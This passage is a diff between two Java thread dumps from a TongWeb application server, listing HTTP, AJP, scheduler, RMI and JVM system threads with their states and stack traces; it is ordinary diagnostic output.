java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -462,29 +448,38 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"DefaultQuartzScheduler_Worker-9" #165 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@4fc0568e +"Timer-0" #154 [TIMED_WAITING] on java.util.TaskQueue@747e35a2 java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) -"DefaultQuartzScheduler_Worker-3" #159 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@3860642e - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) +"http-nio-0.0.0.0-8080-Acceptor-0" #103 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) + at java.lang.Thread.run(Thread.java:750) -"WebSocketClient-AsyncIO-11" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e - java.lang.Thread.State: WAITING +"com.tongweb.tongejb.pool.scheduler.2" #56 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1743bb4d + java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) - at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-1" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 +"GC Daemon" #15 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@64e60076 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-nio-8443-exec-2" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -497,18 +492,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-4" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8443-exec-3" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"http-nio-0.0.0.0-9060-exec-3" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -521,13 +505,21 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"persistence" #173 daemon [TIMED_WAITING] on com.tongweb.monitor.persistence.TaskQueue@66aac4cf +"get-gc-info-timer" #20 daemon [TIMED_WAITING] on java.util.TaskQueue@6e2eaa19 java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460) - at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8443-Acceptor-0" #116 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) + at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-3" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 +"http-nio-0.0.0.0-8080-exec-3" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -540,39 +532,51 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"Thread-31" #141 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPoll.epollWait(Native Method) - at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) - at java.lang.Thread.run(Thread.java:750) - -"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #89 daemon [TIMED_WAITING] +"ajp-bio-8009-AsyncTimeout" #128 daemon [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING at java.lang.Thread.sleep(Native Method) - at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1520) + at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:149) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-2" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 +"WebSocketClient-AsyncIO-8" #137 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"Timer-1" #171 daemon [TIMED_WAITING] on java.util.TaskQueue@4d0a0781 - java.lang.Thread.State: TIMED_WAITING +"Thread-25" #129 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6b78515b + java.lang.Thread.State: WAITING at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) -"http-nio-8443-ClientPoller-0" #126 daemon [RUNNABLE] +"process reaper" #11 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@616b06aa + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-ClientPoller-0" #101 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) @@ -582,31 +586,17 @@ ThreadStacks: at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-exec-4" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) - at java.lang.Thread.run(Thread.java:750) - -"JCA-default-thread-pool-worker-8" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) +"http-nio-0.0.0.0-8080-ClientPoller-1" #102 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-8080-exec-5" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 +"http-nio-0.0.0.0-8080-exec-8" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -619,20 +609,16 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-exec-2" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) - at java.lang.Thread.run(Thread.java:750) +"NioBlockingSelector.BlockPoller-2" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) -"RMI Scheduler(0)" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30bd25d6 +"Thread-36" #140 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35da5f41 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -644,32 +630,51 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"nio-accept-5100-1-1" #64 daemon [RUNNABLE] +"http-nio-0.0.0.0-9060-Acceptor-0" #90 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) + at java.lang.Thread.run(Thread.java:750) + +"snapshot" #160 daemon [WAITING] on java.util.TaskQueue@2ebf4581 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8443-ClientPoller-1" #115 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:622) - at com.tongweb.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:310) - at com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116) - at com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:137) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) at java.lang.Thread.run(Thread.java:750) -"process reaper" #11 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@71d3418 - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) - at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) - at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) +"RMI TCP Connection(1)-127.0.0.1" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/703451848.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-exec-3" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 +"http-nio-0.0.0.0-8080-exec-9" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -682,26 +687,13 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@37211488 - java.lang.Thread.State: WAITING +"persistence" #158 daemon [TIMED_WAITING] on com.tongweb.monitor.persistence.TaskQueue@7643b84 + java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at java.lang.ref.Reference.tryHandlePending(Reference.java:191) - at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) - -"WebSocketClient-AsyncIO-7" #148 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) - at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) - at java.lang.Thread.run(Thread.java:750) + at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460) + at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408) -"http-nio-8443-exec-6" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"http-nio-0.0.0.0-9060-exec-5" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -714,7 +706,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-exec-9" #137 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 +"ajp-bio-8009-exec-1" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -727,7 +719,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-6" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 +"JCA-default-thread-pool-worker-4" #47 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -738,19 +730,22 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Thread-45" #155 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a0a2be2 - java.lang.Thread.State: TIMED_WAITING +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WebSocketClient-AsyncIO-5" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499 + java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-8443-exec-4" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"http-nio-0.0.0.0-8080-exec-7" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -763,15 +758,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"RMI Reaper" #14 [WAITING] on java.lang.ref.ReferenceQueue$Lock@734028e0 - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-0.0.0.0-8080-ClientPoller-1" #114 daemon [RUNNABLE] +"http-nio-0.0.0.0-9060-ClientPoller-0" #88 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) @@ -781,15 +768,22 @@ ThreadStacks: at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) at java.lang.Thread.run(Thread.java:750) -"Thread-56" #177 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d937f64 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.heimdall.monitor.Util.WebWarnUtil$WarnCheckThread.run(WebWarnUtil.java:167) +"DefaultQuartzScheduler_Worker-6" #147 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@2209b16c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"ajp-bio-8009-Acceptor-0" #127 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60) + at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:217) + at java.lang.Thread.run(Thread.java:750) 